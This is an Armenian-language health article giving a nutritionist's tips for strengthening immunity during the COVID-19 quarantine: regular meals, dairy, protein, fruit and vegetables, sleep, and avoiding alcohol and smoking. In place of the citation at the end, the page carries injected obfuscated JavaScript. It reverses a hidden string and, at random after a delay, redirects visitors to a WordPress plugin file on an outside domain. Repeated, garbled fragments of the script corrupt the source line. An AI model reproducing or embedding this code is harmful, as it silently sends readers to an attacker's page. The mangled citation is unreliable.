Ինչպե՞ս ամրապնդել իմունային համակարգը

COVID-19-ի հետ կապված շարունակվում է կարանտինային իրավիճակը։ Կառավարությունը հորդորում է մնալ տանը՝ վարակից խուսափելու համար։ Այս շրջանում պետք է չմոռանալ իմունային համակարգի մասին։ Սննդաբան Սվետլանա Ֆուսը հիշեցրել է մի քանի պարզ կանոններ, որոնք օգնում են ամրապնդել իմունիտետը:

Անհրաժեշտ է հոգ տանել.

• պատշաճ սննդի և ջրի ռեժիմի,
• լիարժեք քնի,
• ֆիզիկական գործունեության մասին։ ⠀

Ահա սննդի որոշ խորհուրդներ `մարմնի կայունությունը բարձրացնելու համար։

• Կերեք կանոնավոր կերպով: Միայն սննդի միջոցով է գալիս մեր իմունային համակարգի համար անհրաժեշտ ամեն ինչ: Նախապատվությունը տվեք հեշտությամբ մարսվող սննդին: Մի բաց թողեք նախաճաշը:
• Յուղի ցածր պարունակությամբ պանիրով ​​փոխարինեք պանիրն ու ֆերմենտացված կաթնամթերքը: Ի վերջո, այս ապրանքներից ճարպը և ճարպը լուծվող վիտամինները պաշտպանում են ձեր թոքերը: Բացի այդ, կաթնամթերքը պրոբիոտիկներ է պարունակում, որոնք բարելավում են աղիների աշխատանքը:
• Շատ սպիտակուց օգտագործեք: Ձուկը, թռչնաբուծությունը, ձուն, միսը ապահովում են անհրաժեշտ ամինաթթուները իմունոգլոբուլինների սինթեզի համար: Օրինակ, հավի արգանակում կան բազմաթիվ հակաբորբոքային և վերականգնող նյութեր, որոնք ուժեղացնում են օրգանիզմի իմունիտետը:
• Համոզվեք, որ ամեն օր օգտագործում եք թարմ և սառեցված մրգեր, բանջարեղեն և հատապտուղներ, որոնք վիտամինների, հանքանյութերի, հակաօքսիդանտների, ինչպես նաև մանրաթելերի և պեկտինների արժեքավոր աղբյուր են: Սառեցված բանջարեղենն ու մրգերը գրեթե նույնքան օգտակար են, որքան թարմը `սննդային արժեքի առումով:

Սննդաբանը նաև հիշեցրել է, թե ինչն է թուլացնում իմունային համակարգը.

• ալկոհոլի չարաշահումը
• ծխելը,
• քնի պակասը:

Աղբյուր՝ $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolog-rasskazala–kak-ukrepit–immunitet” target=”_blank” rel=”noopener”>Ivona